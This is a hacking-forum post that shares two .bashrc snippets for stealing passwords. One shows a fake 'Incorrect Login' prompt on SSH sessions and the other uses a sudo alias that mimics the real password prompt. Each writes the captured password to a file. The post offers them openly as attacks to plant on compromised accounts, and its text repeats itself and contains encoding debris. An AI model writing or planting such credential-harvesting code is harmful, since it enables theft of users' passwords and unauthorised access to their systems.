Getting passwords with a simple (SE) attack 02-26-2017, 08:26 AM
#1
A little while ago, I came up with a two of these attacks:
Te first is on SSH, to grab passwords from logins:
When added to the .bashrc, it makes it seem as though the user entered their password wrong and asks again, then grabs the pass. Â It can be used in doppleganger domains, accounts that have been compromized without having password, and other things. Â You can switch it up a bit to ask for username or whatever.
The second attack is on sudo:
This one should also be dropped into bashrc. Â It pretends to be sudo but grabs the password. Â
This was just to get you guys to think about creative attacks like these.
Another one would be to have something like "Incorrect login" when at login, and ask for the password, of course this one only works for CLI logins.
Hope this got you guys thinking!
PS: Don't scream at me if this sucked, I'm in a rush and just felt like sharing this with you guys.
Te first is on SSH, to grab passwords from logins:
Code:
if [[ -n $SSH_CONNECTION ]] ; then
  exec echo 'Incorrect Login.'
  exec echo -n 'Password:'
  exec read -s PASS
  exec echo $PASS >> passfile
  exec sh
fiThe second attack is on sudo:
Code:
alias sudo=echo -n "[sudo] password for $USER:" && read -s PASS && echo $PASS >> passfilefile && echo "" && echo "Sorry, try again." && sudoThis was just to get you guys to think about creative attacks like these.
Another one would be to have something like "Incorrect login" when at login, and ask for the password, of course this one only works for CLI logins.
Hope this got you guys thinking!
PS: Don't scream at me if this sucked, I'm in a rush and just felt like sharing this with you guys.
(This post was last modified: 02-26-2017, 06:47 PM by Blink.)









![[+]](https://sinister.ly/images/modern/collapse_collapsed.png)

















![[Image: VTc9QEi.png]](http://i.imgur.com/VTc9QEi.png)